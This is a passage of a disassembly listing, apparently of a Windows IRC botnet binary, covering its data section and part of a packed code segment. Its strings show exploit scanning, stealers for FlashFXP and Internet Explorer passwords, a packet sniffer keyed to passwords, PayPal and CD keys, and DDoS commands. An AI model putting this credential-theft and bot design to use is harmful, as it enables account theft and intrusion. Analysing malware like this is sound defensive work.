; .data:0041DA80o
aOa db '×׎€',0 ; DATA XREF: .data:0041CBB0o
; .data:0041DA78o
align 4
dd 0
dword_41CC2C dd 0C3999E9Ah, 0DBBA96ECh, 0BAF0FDA9h, 98B395h, 0
; DATA XREF: .data:0041CBACo
; .data:0041DA74o
aBg db 'ÓÞƒ',0 ; DATA XREF: .data:0041CBA4o
; .data:off_41DA6Co
align 4
dd 0
dword_41CC4C dd 0D5999E9Ah, 0CCAB8EF3h, 0B6ACF5A0h, 0CB9EB7D5h, 2 dup(0)
; DATA XREF: .data:off_41CBA0o
; .data:off_41DA68o
dword_41CC64 dd 72h dword_41CC68 dd 62h dword_41CC6C dd 63h dword_41CC70 dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 7320676Eh
; DATA XREF: sub_412E04+64o
dd 6C6C6568h, 65646F63h, 72657320h, 20726576h, 70206E6Fh
dd 2074726Fh, 2343003h, 2037325h, 0
dword_41CCA8 dd 6C656853h, 646F636Ch, 65732065h, 72657672h, 206E6F20h
; DATA XREF: sub_412F07+98o
dd 74726F70h, 34300320h, 3752502h, 2, 0
aJeP db '†…ØÝ¯',0 ; DATA XREF: sub_41294E+3Co
; sub_41294E+4Co ...
align 4
dd 2 dup(0)
dd 0D3000000h, 82D5h, 3 dup(0)
db 2 dup(0)
dword_41CCF6 dd 0B33DE2EFh ; sub_412FC6+31r ...
dword_41CCFA dd 0 ; sub_414052+B5r ...
off_41CCFE dd offset sub_410649 ; DATA XREF: sub_41294E+1Cr
; sub_412FC6+18r ...
dw 3
dd 0
dd 838C0000h, 8EFCC0C3h, 0A6h, 2 dup(0)
dd 82D2D600h, 4 dup(0)
a?_0 db '?(Ƶ',0
align 4
dd offset sub_410B52
dd 3, 10h dup(0)
aWin32 db '(Win32)',0 ; DATA XREF: sub_41308F+217o
aUnix db '(Unix)',0 ; DATA XREF: sub_41308F+1F1o
align 10h
aApacheU db 'Apache/%u',0 ; DATA XREF: sub_41308F+1DFo
align 4
aApache db 'Apache',0 ; DATA XREF: sub_41308F+1B9o
align 4
aMicrosoftIisU_ db 'Microsoft-IIS/%u.%u',0 ; DATA XREF: sub_41308F+130o
aMicrosoftIis db 'Microsoft-IIS',0 ; DATA XREF: sub_41308F+FCo
align 4
aServer db 'Server:',0 ; DATA XREF: sub_41308F+7Ao
aOptionsHttp1_0 db 'OPTIONS / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41308F+Bo
db 0Dh,0Ah,0
align 4
unk_41CDE8 db 53h ; S ; DATA XREF: sub_41349C+5E4o
db 63h, 61h, 6Eh
db 6Eh ; n
db 65h, 64h, 20h
db 3
db 30h, 34h, 2
db 25h ; %
db 73h, 3, 2
db 3Ah ; :
db 25h, 73h, 20h
db 69h ; i
db 6Eh, 20h, 3
db 30h ; 0
db 34h, 2, 25h
db 30h ; 0
db 2Eh, 32h, 66h
db 3
db 2, 73h, 65h
db 63h ; c
db 2Eh, 20h, 3
db 30h ; 0
db 34h, 2, 25h
db 75h ; u
db 3, 2, 20h
aOpenIpSFound db 'open IP(s) found',0
align 4
dword_41CE2C dd 2343003h, 2037325h, 2073253Ah, 6F207369h, 6E6570h
; DATA XREF: sub_41349C+55Eo
dword_41CE40 dd 3430032Dh, 3752502h, 53202D02h, 6E6E6163h, 20676E69h
; DATA XREF: sub_41349C+343o
dd 2343003h, 2037325h, 2073253Ah, 20726F66h, 2343003h
dd 2037525h, 63657320h, 28646E6Fh, 2973h
dword_41CE78 dd 6E616353h, 676E696Eh, 34300320h, 3732502h, 73253A02h
; DATA XREF: sub_41349C+305o
dd 726F6620h, 34300320h, 3752502h, 65732002h, 646E6F63h
dd 297328h
unk_41CEA4 db 53h ; S ; DATA XREF: sub_413AB0+1DCo
db 63h, 61h, 6Eh
db 6Eh ; n
db 69h, 6Eh, 67h
db 20h
db 3, 30h, 34h
db 2
db 25h, 73h, 3
db 2
db 3Ah, 25h, 73h
db 20h
db 66h, 6Fh, 72h
db 20h
db 3, 30h, 34h
db 2
db 25h, 75h, 3
db 2
aSecondSTUSU db ' second(s), t:%u s:%u',0
align 4
dword_41CEDC dd 3430032Dh, 3752502h, 41202D02h, 6D657474h, 64657470h
; DATA XREF: sub_413CB3+30Eo
dd 34300320h, 3752502h, 78652002h, 696F6C70h, 69746174h
dd 73286E6Fh, 6E6F2029h, 34300320h, 3752502h, 50492002h
dd 2E297328h, 0
dword_41CF20 dd 65747441h, 6974706Dh, 7420676Eh, 7865206Fh, 696F6C70h
; DATA XREF: sub_413CB3+2B0o
dd 30032074h, 73250234h, 77200203h, 20687469h, 2343003h
dd 2037325h, 2E2E2Eh
unk_41CF50 db 2Dh ; - ; DATA XREF: sub_413CB3+31o
db 3, 30h, 34h
db 2
db 25h, 75h, 3
db 2
aAttemptingTo_0 db '- Attempting to exploit IP',27h,'s in list.',0
align 10h
aAttemptingToEx db 'Attempting to exploit IP',27h,'s in list.',0 ; DATA XREF: sub_413FE7+52o
dword_41CFA4 dd 3003203Ah, 75250234h, 202E0203h, 0aExploitStatist db 'Exploit statistics - ',0 ; DATA XREF: sub_414052+29o
align 4
aListingExploit db 'Listing exploit statistics',0 ; DATA XREF: sub_41417D+2Bo
align 4
dword_41CFE8 dd 62616E55h, 7420656Ch, 6F63206Fh, 63656E6Eh, 6F742074h
; DATA XREF: sub_4141C1+D8o
dd 34300320h, 3732502h, 6F702002h, 3207472h, 25023430h
dd 2E020373h, 0
dword_41D018 dd 656D6954h, 2074756Fh, 7563636Fh, 20646572h, 6C696877h
; DATA XREF: sub_4141C1+B4o
dd 6F632065h, 63656E6Eh, 676E6974h, 206F7420h, 2343003h
dd 2037325h, 3430033Ah, 3732502h, 202E02h
dword_41D050 dd 6E6E6F43h, 65746365h, 6F742064h, 34300320h, 3732502h
; DATA XREF: sub_4141C1+78o
dd 30033A02h, 73250234h, 69200203h, 3003206Eh, 75250234h
dd 203736Dh, 2Eh
dword_41D080 dd 6E6E6F43h, 69746365h, 7420676Eh, 7325206Fh, 726F7020h
; DATA XREF: sub_4142BF+D8o
dd 30032074h, 73250234h, 203h
unk_41D0A0 db 53h ; S ; DATA XREF: sub_4143B0+221o
db 63h, 61h, 6Eh
db 6Eh ; n
db 65h, 64h, 20h
db 25h ; %
db 73h, 20h, 69h
db 6Eh ; n
db 20h, 3, 30h
db 34h ; 4
db 2, 25h, 30h
db 2Eh ; .
db 32h, 66h, 3
db 2
db 73h, 65h, 63h
db 2Eh ; .
db 20h, 3, 30h
db 34h ; 4
db 2, 25h, 75h
db 3
db 2, 20h, 6Fh
aPenPortSFound db 'pen port(s) found',0
align 4
dword_41D0DC dd 33A7325h, 25023430h, 20020373h, 6F207369h, 6E6570h
; DATA XREF: sub_4143B0+1BAo
dword_41D0F0 dd 3430032Dh, 3752502h, 53202D02h, 6E6E6163h, 20676E69h
; DATA XREF: sub_4143B0+81o
dd 70207325h, 2074726Fh, 2343003h, 2037525h, 3430032Dh
dd 3752502h, 69772002h, 3206874h, 25023430h, 20020375h
dd 6B636F73h, 73287465h, 29h
dword_41D138 dd 6E616353h, 676E696Eh, 20732520h, 74726F70h, 34300320h
; DATA XREF: sub_414600+1BEo
dd 3752502h, 30032D02h, 75250234h, 77200203h, 20687469h
dd 2343003h, 2037525h, 636F7320h, 2874656Bh, 2973h
aYa36za48dehfrv db 'yA36zA48dEhfrvghGRg57h5UlDv3',0 ; DATA XREF: sub_4147E5+6o
; sub_4147E5+C6o
align 4
aSflashfxpSites db '%sFlashFXP\sites.dat',0 ; DATA XREF: sub_4148CE+107o
align 4
aFlashfxpSites_ db '\FlashFXP\sites.dat',0 ; DATA XREF: sub_4148CE+B6o
aProgramfiles db 'ProgramFiles',0 ; DATA XREF: sub_4148CE+ABo
align 10h
aSites_dat db 'sites.dat',0 ; DATA XREF: sub_4148CE:loc_414945o
align 4
aFlashfxp_exe1 db 'FlashFXP.exe %1',0 ; DATA XREF: sub_4148CE+57o
aSoftwareClasse db 'SOFTWARE\Classes\Applications\FlashFXP.exe\shell\open\command',0
; DATA XREF: sub_4148CE+15o
align 4
unk_41D22C db 2Dh ; - ; DATA XREF: sub_414A1E+464o
db 3, 30h, 34h
db 2
db 25h, 75h, 3
db 2
db 2Dh, 20h, 4Ch
db 69h ; i
db 73h, 74h, 65h
db 64h ; d
db 20h, 3, 30h
db 34h ; 4
db 2, 25h, 75h
db 3
db 2, 2Fh, 3
db 30h ; 0
db 34h, 2, 25h
db 75h ; u
db 3, 2, 20h
aFlashfxpPass_0 db 'FlashFXP password(s).',0
align 4
dword_41D268 dd 2343003h, 2037525ha_FlashfxpFtpSS db '. FlashFXP - ftp://%s:%s@%s:%s - %s',0
aPass127s db 0Dh,0Ah ; DATA XREF: sub_414A1E+352o
db 'Pass=%127s',0Dh,0Ah,0
align 4
aUser127s db 0Dh,0Ah ; DATA XREF: sub_414A1E+338o
db 'User=%127s',0Dh,0Ah,0
align 4
aPort127s db 0Dh,0Ah ; DATA XREF: sub_414A1E+31Eo
db 'Port=%127s',0Dh,0Ah,0
align 4
aIp127s db 0Dh,0Ah ; DATA XREF: sub_414A1E+304o
db 'IP=%127s',0Dh,0Ah,0
align 4
asc_41D2D4 db '[%[^]]]',0Dh,0Ah,0 ; DATA XREF: sub_414A1E+2EAo
align 10h
aPass db 0Dh,0Ah ; DATA XREF: sub_414A1E+1F4o
db 'Pass=',0
aUser db 0Dh,0Ah ; DATA XREF: sub_414A1E+1DCo
db 'User=',0
aPort db 0Dh,0Ah ; DATA XREF: sub_414A1E+1C4o
db 'Port=',0
aIp db 0Dh,0Ah ; DATA XREF: sub_414A1E+1ACo
db 'IP=',0
align 10h
asc_41D300 db 0Dh,0Ah ; DATA XREF: sub_414A1E:loc_414BA6o
db 0Dh,0Ah
db '[',0
align 4
unk_41D308 db 2Dh ; - ; DATA XREF: sub_414A1E+55o
db 3, 30h, 34h
db 2
db 25h, 75h, 3
db 2
aListingFlashfx db '- Listing FlashFXP passwords',0
align 10h
aFlashfxpPasswo db 'FlashFXP password stealer',0 ; DATA XREF: sub_414EB0+2Bo
align 4
unk_41D34C db 2Dh ; - ; DATA XREF: sub_414EF4+B8Ao
db 3, 30h, 34h
db 2
db 25h, 75h, 3
db 2
db 2Dh, 20h, 4Ch
db 69h ; i
db 73h, 74h, 65h
db 64h ; d
db 20h, 3, 30h
db 34h ; 4
db 2, 25h, 75h
db 3
db 2, 20h, 69h
aNternetExplore db 'nternet explorer password(s).',0
align 4
dword_41D388 dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6D6F436Fh
; DATA XREF: sub_414EF4+AD8o
dd 74656C70h, 61502065h, 6F777373h, 20736472h, 6953202Dh
dd 203A6574h, 2343003h, 2037325h, 614E202Eh, 203A656Dh
dd 2343003h, 2037325h, 6150202Eh, 6F777373h, 203A6472h
dd 2343003h, 2037325h, 2Eh
dword_41D3E4 dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6F43206Fh
; DATA XREF: sub_414EF4+A2Bo
dd 656C706Dh, 66206574h, 646C6569h, 202D2073h, 6C656946h
dd 3203A64h, 25023430h, 2E020373h, 74614420h, 3203A61h
dd 25023430h, 2E020373h, 0
aHttps db 'https:/',0 ; DATA XREF: sub_414EF4+9DDo
aHttp_0 db 'http:/',0 ; DATA XREF: sub_414EF4+9C6o
align 4
aString db ':String',0 ; DATA XREF: sub_414EF4+983o
; sub_414EF4+99Ao
aStringindex db 'StringIndex',0 ; DATA XREF: sub_414EF4+968o
aE161255a db 'e161255a',0 ; DATA XREF: sub_414EF4:loc_415842o
align 4
dword_41D45C dd 2343003h, 2037525h, 534D202Eh, 7845204Eh, 726F6C70h
; DATA XREF: sub_414EF4+935o
dd 2D207265h, 4E534D20h, 3A444920h, 34300320h, 3732502h
dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h
dd 2E02h
dword_41D49C dd 2Ch ; sub_414EF4+852o ...
aB9819c52 db 'b9819c52',0 ; DATA XREF: sub_414EF4:loc_4155CEo
align 4
dword_41D4AC dd 2343003h, 2037525h, 4549202Eh, 7361503Ah, 726F7773h
; DATA XREF: sub_414EF4+6C6o
dd 72502D64h, 6365746Fh, 20646574h, 6953202Dh, 203A6574h
dd 2343003h, 2037325h, 614E202Eh, 203A656Dh, 2343003h
dd 2037325h, 6150202Eh, 6F777373h, 203A6472h, 2343003h
dd 2037325h, 2Eh
a5e7e8100 db '5e7e8100',0 ; DATA XREF: sub_414EF4:loc_41550Co
align 10h
dword_41D510 dd 2343003h, 2037525h, 754F202Eh, 6F6F6C74h, 7078456Bh
; DATA XREF: sub_414EF4+604o
dd 73736572h, 4E202D20h, 3A656D61h, 34300320h, 3732502h
dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h
dd 2E02h
a220d5cc1 db '220d5cc1',0 ; DATA XREF: sub_414EF4+5C2o
align 4
aWs db '%ws',0 ; DATA XREF: sub_414EF4+41Co
asc_41D560 db '%x',0 ; DATA XREF: sub_414EF4+234o
align 4
unk_41D564 db 2Dh ; - ; DATA XREF: sub_414EF4+1A9o
db 3, 30h, 34h
db 2
db 25h, 75h, 3
db 2
aListingInterne db '- Listing internet explorer passwords',0
align 8
dword_41D598 dd 5A6F1EC0h, 11D02DB1h, 0C000398Ch, 6B12D94Fh ; sub_414EF4+2C7o ...
aInternetExplor db 'Internet explorer password stealer',0 ; DATA XREF: sub_415AF0+36o
align 4
dword_41D5CC dd 65746E49h, 74736572h, 20676E69h, 636F7270h, 65737365h
; DATA XREF: sub_415B60+277o
dd 202D2073h, 75736956h, 43206C61h, 36202B2Bh, 3003203Ah
dd 73250234h, 202E0203h, 65726E55h, 52496C61h, 203A4443h
dd 2343003h, 2037325h, 7453202Eh, 3A6D6165h, 34300320h
dd 3732502h, 57202E02h, 646C726Fh, 20664F20h, 63726157h
dd 74666172h, 3003203Ah, 73250234h, 202E0203h, 716E6F43h
dd 20726575h, 696C6E4Fh, 203A656Eh, 2343003h, 2037325h
dd 2Eh
aSoftwareValveS db 'Software\Valve\Steam',0 ; DATA XREF: sub_415B60+149o
align 4
aSoftwareMicr_0 db 'SOFTWARE\Microsoft\VisualStudio\6.0\Setup\Microsoft Visual C++',0
; DATA XREF: sub_415B60+10Ao
align 4
aConquer db '[Conquer]',0 ; DATA XREF: sub_415B60:loc_415C2Fo
align 10h
aWorldOfWarcraf db 'World Of Warcraft',0 ; DATA XREF: sub_415B60:loc_415C0Eo
align 4
aUnreal3 db 'Unreal3',0 ; DATA XREF: sub_415B60+8Co
aListingInteres db 'Listing interesting processes',0 ; DATA XREF: sub_415DFD+2Bo
align 4
off_41D6FC dd offset aUser_0 ; DATA XREF: sub_415EB7+32o
; "user "
dd offset aUnknown_1 ; "unknown "
dd offset aPass_1 ; "pass "
dd offset aMailpass ; "MailPass "
dd offset aOper ; "oper "
dd 0
dd offset aIdentify ; "identify "
dd 0
dd offset aAuth ; " :auth "
dd 0
dd offset aPasswd_0 ; "passwd="
dd 0
dd offset aUsername_0 ; "username="
dd 0
dd offset aPassword_0 ; "password="
dd 0
dd offset aLogin_1 ; "login="
dd 0
dd offset aPass_2 ; "pass="
dd 0
dd offset aPw ; "pw="
dd 2 dup(0)
off_41D758 dd offset aLogin ; DATA XREF: sub_415EB7+54o
; "login "
align 10h
dd offset aSxt ; "sxt "
align 8
dd offset aAuth_0 ; "auth "
align 10h
dd offset aPasswort ; "passwort "
align 8
dd offset aCdkey ; "cdkey"
align 10h
dd offset aCdKey ; "cd-key"
align 8
dd offset aCdKey_0 ; "cd key"
align 10h
dd offset aPassword ; "password"
align 8
dd offset aPaypal_com ; "paypal.com"
align 10h
dd offset aPaypal ; "paypal"
align 8
dd offset aIrcOperator ; "irc operator"
align 10h
dd offset aLP ; "l/p"
align 8
dd offset aSsh1_5 ; "SSH-1.5"
align 10h
dd offset aSsh1_99 ; "SSH-1.99"
dd 2 dup(0)
off_41D7CC dd offset aSetCookie ; DATA XREF: sub_415EB7+76o
; "Set-Cookie:"
dd 0
dd offset aSyn ; "syn"
dd 0
dd offset aFlood ; "flood "
dd 0
dd offset aClone ; "clone "
dd 0
dd offset aServU ; "serv-u"
dd 0
dd offset aServU_0 ; "serv u"
dd 0
dd offset aServu ; "servu"
dd 0
dd offset aDdos ; "ddos"
align 10h
off_41D810 dd offset aPrivmsg_0 ; DATA XREF: sub_415EB7+98o
; "PRIVMSG "
align 8
dd offset aNotice_0 ; "NOTICE "
align 10h
dd offset aTopic ; "TOPIC "
align 8
dd offset aJoin_0 ; "JOIN "
align 10h
dd offset aPart ; "PART "
align 8
dd offset aQuit ; "QUIT "
dd 2 dup(0)
aQuit db 'QUIT ',0 ; DATA XREF: .data:0041D838o
align 4
aPart db 'PART ',0 ; DATA XREF: .data:0041D830o
align 4
aJoin_0 db 'JOIN ',0 ; DATA XREF: .data:0041D828o
align 4
aTopic db 'TOPIC ',0 ; DATA XREF: .data:0041D820o
align 4
aNotice_0 db 'NOTICE ',0 ; DATA XREF: .data:0041D818o
aPrivmsg_0 db 'PRIVMSG ',0 ; DATA XREF: .data:off_41D810o
align 4
aDdos db 'ddos',0 ; DATA XREF: .data:0041D804o
align 10h
aServu db 'servu',0 ; DATA XREF: .data:0041D7FCo
align 4
aServU_0 db 'serv u',0 ; DATA XREF: .data:0041D7F4o
align 10h
aServU db 'serv-u',0 ; DATA XREF: .data:0041D7ECo
align 4
aClone db 'clone ',0 ; DATA XREF: .data:0041D7E4o
align 10h
aFlood db 'flood ',0 ; DATA XREF: .data:0041D7DCo
align 4
aSyn db 'syn',0 ; DATA XREF: .data:0041D7D4o
aSetCookie db 'Set-Cookie:',0 ; DATA XREF: .data:off_41D7CCo
aSsh1_99 db 'SSH-1.99',0 ; DATA XREF: .data:0041D7C0o
align 4
aSsh1_5 db 'SSH-1.5',0 ; DATA XREF: .data:0041D7B8o
aLP db 'l/p',0 ; DATA XREF: .data:0041D7B0o
aIrcOperator db 'irc operator',0 ; DATA XREF: .data:0041D7A8o
align 10h
aPaypal db 'paypal',0 ; DATA XREF: .data:0041D7A0o
align 4
aPaypal_com db 'paypal.com',0 ; DATA XREF: .data:0041D798o
align 4
aCdKey_0 db 'cd key',0 ; DATA XREF: .data:0041D788o
align 4
aCdKey db 'cd-key',0 ; DATA XREF: .data:0041D780o
align 4
aCdkey db 'cdkey',0 ; DATA XREF: .data:0041D778o
align 4
aPasswort db 'passwort ',0 ; DATA XREF: .data:0041D770o
align 4
aAuth_0 db 'auth ',0 ; DATA XREF: .data:0041D768o
align 10h
aSxt db 'sxt ',0 ; DATA XREF: .data:0041D760o
align 4
aLogin db 'login ',0 ; DATA XREF: .data:off_41D758o
align 10h
aPw db 'pw=',0 ; DATA XREF: .data:0041D74Co
aPass_2 db 'pass=',0 ; DATA XREF: .data:0041D744o
align 4
aLogin_1 db 'login=',0 ; DATA XREF: .data:0041D73Co
align 4
aPassword_0 db 'password=',0 ; DATA XREF: .data:0041D734o
align 10h
aUsername_0 db 'username=',0 ; DATA XREF: .data:0041D72Co
align 4
aPasswd_0 db 'passwd=',0 ; DATA XREF: .data:0041D724o
aAuth db ' :auth ',0 ; DATA XREF: .data:0041D71Co
aIdentify db 'identify ',0 ; DATA XREF: .data:0041D714o
align 4
aOper db 'oper ',0 ; DATA XREF: .data:0041D70Co
align 10h
aMailpass db 'MailPass ',0 ; DATA XREF: .data:0041D708o
align 4
aPass_1 db 'pass ',0 ; DATA XREF: .data:0041D704o
align 4
aUnknown_1 db 'unknown ',0 ; DATA XREF: .data:0041D700o
align 10h
aUser_0 db 'user ',0 ; DATA XREF: .data:off_41D6FCo
align 4
dword_41D9A8 dd 70737553h, 6F696369h, 70207375h, 656B6361h, 72662074h
; DATA XREF: sub_415F69+5CEo
dd 3206D6Fh, 25023430h, 3A020373h, 2343003h, 2037525h
dd 73253E2Dh, 2075253Ah, 0
unk_41D9DC db 2Dh ; - ; DATA XREF: sub_415F69+1A6o
db 3, 30h, 34h
db 2
db 25h, 75h, 3
db 2
db 2Dh, 20h, 4Ch
db 65h ; e
db 76h, 65h, 6Ch
db 20h
db 3, 30h, 34h
db 2
db 25h, 75h, 3
db 2
aPacketSnifferR db ' packet sniffer running',0
align 10h
dword_41DA10 dd 6576654Ch, 3003206Ch, 75250234h, 70200203h, 656B6361h
; DATA XREF: sub_41665C+8Eo
dd 6E732074h, 65666669h, 72h, 41DA34h, 0DCD88992h, 0CEBA94B3h
dd 0B4ACFFE6h, 2 dup(0)
dword_41DA48 dd 0A1C21D0Eh ; .text:00416845r ...
dword_41DA4C dd 0D6AF099Eh dword_41DA50 dd 0ED38F9D8h dword_41DA54 dd 5D58CED8h dd 0
off_41DA5C dd offset dword_41DD44 ; DATA XREF: sub_40E618+1C3r
; sub_40E618+1D5r ...
dd 2 dup(0)
off_41DA68 dd offset dword_41CC4C ; DATA XREF: sub_40A9CF+7B3r
; sub_40CF2F+82r ...
off_41DA6C dd offset aBg ; DATA XREF: sub_40CF2F+B8r
; "ÓÞƒ"
dword_41DA70 dd 0 ; sub_40CF2F+DFr
dd offset dword_41CC2C
dd offset aOa ; "×׎€"
align 10h
dd offset dword_41CC08
dd offset aDvi ; "ÓÖ„‚©"
dd 0
dd offset dword_41CBE8
dd offset aPa ; "ÚÖ€"
dd 4 dup(0)
dword_41DAA4 dd 8F88D9DDh, 81F1C5A2h, 2 dup(0) ; sub_40D871:loc_40DCB8o
aLast db '#last',0 ; DATA XREF: sub_40332B+1A1o
; sub_4093B6+6Co ...
align 4
dd 1Eh dup(0)
byte_41DB34 db 0C1h ; DATA XREF: sub_40D043+28Cr
; sub_40D043+297o
db 85h, 0D8h, 0DFh
dd 0F1h, 1Eh dup(0)
byte_41DBB4 db 0 ; DATA XREF: sub_40D043+2B3r
; sub_40D043+2BEo
align 4
dd 1Fh dup(0)
dword_41DC34 dd 3430032Eh, 2036202h, 0 ; sub_40D871+242o
dword_41DC40 dd 0D3D58395h, 90FCC9F1h, 0B2FCACh, 3Eh dup(0) ; sub_406AE7+2Eo
dword_41DD44 dd 0DFDFA6C8h, 0DBA0D4F2h, 0BCh, 0dword_41DD54 dd 3430032Dh, 62656402h, 2036775haEipHasLeftTheE db '- eip has left the endless loop for some reason...',0
align 4
aEntry db 'entry',0 ; DATA XREF: .text:00416AE7o
align 4
aLoop db 'loop',0 ; DATA XREF: sub_416AC5o
align 4
aPing08x db 'PING :%08X',0 ; DATA XREF: sub_416ADB-87o
align 10h
a08xX08x3x08x08 db '%08x%x%08x%3x%08x%08x',0 ; DATA XREF: .text:0041684Bo
align 10h
dword_41DDD0 dd 0DF0B3D60h, 101B548Fh, 8658Eh, 19D12B2Bhoff_41DDE0 dd offset off_4172BC ; DATA XREF: .rdata:off_4172C0o
; .rdata:004172FCo ...
align 8
a_?av_com_error db '.?AV_com_error@@',0
align 10h
off_41DE00 dd offset off_4172BC ; DATA XREF: .rdata:off_417308o
; .rdata:00417344o
align 8
a_?avtype_info@ db '.?AVtype_info@@',0
dword_41DE18 dd 0 ; sub_401856+21r ...
dword_41DE1C dd 0 ; sub_401856+36r ...
dword_41DE20 dd 0 ; sub_401856+4Br ...
dword_41DE24 dd 0 ; sub_401856+Cr ...
dd 0
dword_41DE2C dd 0 ; sub_4018AF+62r ...
byte_41DE30 db 0 ; DATA XREF: sub_401981+1BAo
; sub_402A32+57r ...
align 8
dword_41DE38 dd 0 ; sub_404CBB+1Br ...
dword_41DE3C dd 0 dword_41DE40 dd 7C80B829h ; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCount ; sub_409C36+12r ...
align 8
dword_41DE48 dd 5B86A313h dword_41DE4C dd 5B86D617h dword_41DE50 dd 5B86FD69h dword_41DE54 dd 5B894541h dword_41DE58 dd 5B868E65h dword_41DE5C dd 5B8A3009h dword_41DE60 dd 5B867750h dword_41DE64 dd 5B897BE9h dword_41DE68 dd 5B8A5DD1h dword_41DE6C dd 71B2517Fh dword_41DE70 dd 71B2578Ch dword_41DE74 dd 71B2547Ah dword_41DE78 dd 71B25099h dword_41DE7C dd 42C5AE03h ; resolved to->WININET.InternetGetConnectedStateExA ; sub_408B30+118r ...
dword_41DE80 dd 5E0C53F7h ; sub_414EF4+6Cr ...
dword_41DE84 dd 71AB2A6Fh ; resolved to->WS2_32.getaddrinfo ; sub_403BD3+197r ...
dword_41DE88 dd 71ABC671h ; resolved to->WS2_32.getnameinfo ; sub_403BD3+17Fw ...
dword_41DE8C dd 71AB2B0Bh ; resolved to->WS2_32.freeaddrinfo ; sub_403BD3+1A9r ...
dd 101h dup(0)
dword_41E294 dd 0 ; sub_4042FB+20o
dword_41E298 dd 0 ; sub_4042FB:loc_404327r
align 10h
dword_41E2A0 dd 76BF1F1Ch ; sub_405FA3+7Ar ...
dword_41E2A4 dd 76BF2075h ; sub_405FA3+83r ...
dword_41E2A8 dd 76BF21C2h ; sub_405FA3+8Cr ...
dword_41E2AC dd 76BF3A9Ah ; sub_405FA3+71r ...
dword_41E2B0 dd 14A558h, 0FFFFFFFFh, 5 dup(0) ; sub_406041+Bo ...
byte_41E2CC db 1 ; DATA XREF: sub_405FA3+95w
; sub_406041+16r
align 10h
dword_41E2D0 dd 0 ; sub_409226+77w ...
align 8
dword_41E2D8 dd 14A580h, 0FFFFFFFFh, 4 dup(0) ; sub_4095A4+6o ...
dword_41E2F0 dd 0 ; sub_4095A4+11r ...
align 8
dword_41E2F8 dd 874FC0h ; sub_4095A4+57r ...
dword_41E2FC dd 0 ; resolved to->IPHLPAPI.IcmpCreateFile ; sub_409DD0+65w ...
dword_41E300 dd 0 ; sub_409DD0+44r ...
dword_41E304 dd 0 ; resolved to->IPHLPAPI.IcmpCloseHandle ; sub_409DD0+91w ...
dword_41E308 dd 0 ; resolved to->IPHLPAPI.IcmpSendEcho ; sub_409DD0+7Bw ...
align 10h
byte_41E310 db 0 ; DATA XREF: sub_409DD0+29r
; sub_409DD0+96w
align 4
dd 101h dup(0)
byte_41E718 db 0 ; DATA XREF: sub_40CF2F+4Bo
; sub_40CF2F+5Eo ...
align 4
dd 5Fh dup(0)
dword_41E898 dd 40h dup(0) ; sub_40CF2F+A6o ...
dword_41E998 dd 3 dup(0) ; sub_40CF2F+36o ...
dword_41E9A4 dd 0 ; sub_40D366+15r ...
dd 0
dword_41E9AC dd 0 ; sub_40E618:loc_40E66Dw
byte_41E9B0 db 0 ; DATA XREF: sub_40E979+1Dw
; sub_40E979+46w ...
align 4
dd 9 dup(0)
dd 3E000000h, 3F000000h, 37363534h, 3B3A3938h, 3D3Ch, 0
dd 2010000h, 6050403h, 0A090807h, 0E0D0C0Bh, 1211100Fh
dd 16151413h, 191817h, 0
db 0
db 1Ah, 1Bh, 1Ch
db 1Dh
db 1Eh, 1Fh, 20h
a_0123 db '!"#$%&',27h,'()*+,-./0123',0
dd 22h dup(0)
byte_41EAB4 db 8Bh ; DATA XREF: sub_40ECEB+29o
; sub_40ECEB+35o ...
db 0B9h, 0DBh, 0B0h
dd 8FB3E9B3h, 9A9790C8h, 62FBBADBh, 0
dword_41EAC8 dd 353B9991h, 29C9A16Fh, 0F3E975C5h, 37BBFFA3h, 0
; DATA XREF: sub_40ED6E+29o
; sub_40ED6E+35o ...
dword_41EADC dd 97F3C11Bh ; sub_410318+7w ...
dword_41EAE0 dd 4663D751h ; sub_410318+11w ...
dword_41EAE4 dd 0E06A3383h ; sub_410318+1Bw ...
dword_41EAE8 dd 54059D82h ; sub_410318+25w ...
align 10h
byte_41EAF0 db 0E2h ; DATA XREF: sub_41055F+29o
; sub_41055F+35o ...
db 0E6h, 0B7h, 0B0h
dd 0BECEFA9Dh, 0D3DE90C8h, 0B1F7D5FBh, 2 dup(0)
dword_41EB08 dd 2 dup(0) dword_41EB10 dd 0 dword_41EB14 dd 2 dup(0) dword_41EB1C dd 0 ; sub_4127D0+16w
dword_41EB20 dd 0 ; sub_4127D0:loc_4128A0r
dword_41EB24 dd 2 dup(0) ; sub_412E04+7Fo
aPacked_exe db 'packed.exe',0 ; DATA XREF: sub_406E8E+208o
; sub_407148+172o ...
align 4
dd 3Eh dup(0)
dword_41EC30 dd 0B0AD314Dh ; .text:00416909w
dword_41EC34 dd 70648CC5h dword_41EC38 dd 0B25901C8h dword_41EC3C dd 494B16DBh aPacked_exe_0 db 'packed.exe',0 ; DATA XREF: sub_40A9CF+C3Do
; sub_40A9CF+C51o ...
align 4
dd 3Fh dup(0)
dword_41ED48 dd 40h dup(0) ; sub_40A9CF+108Eo ...
byte_41EE48 db 0 ; DATA XREF: sub_40D043+FFr
; sub_40D043+10Ao ...
align 4
dd 1Fh dup(0)
byte_41EEC8 db 0 ; DATA XREF: sub_403DF3:loc_403F07r
; sub_403DF3+11Fo ...
align 4
dd 1Fh dup(0)
dword_41EF48 dd 40h dup(0) ; sub_4055E5+746o ...
byte_41F048 db 0 ; DATA XREF: sub_40A9CF+1F37o
; sub_40D043:loc_40D0D6r ...
align 1000h
_data ends
; Section 4. (virtual address 00020000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 00020000
; Flags E0000020: Text Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
he5_4aoe segment para public 'CODE' use32
assume cs:he5_4aoe
;org 420000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
jmp loc_4167F1
; ---------------------------------------------------------------------------
db 4, 0F2h, 10h
dd 80EAAD4Fh, 0AC73D4DAh, 0DC2D6A93h, 2E604ED4h, 75F30Dh
dd 0F7A4F832h, 0C12E90A3h, 0C8BDD6FFh, 1B4C2F1h, 258E1348h
dd 462E615Ah, 4828A618h, 0A1451A78h, 40906529h, 0B495D931h
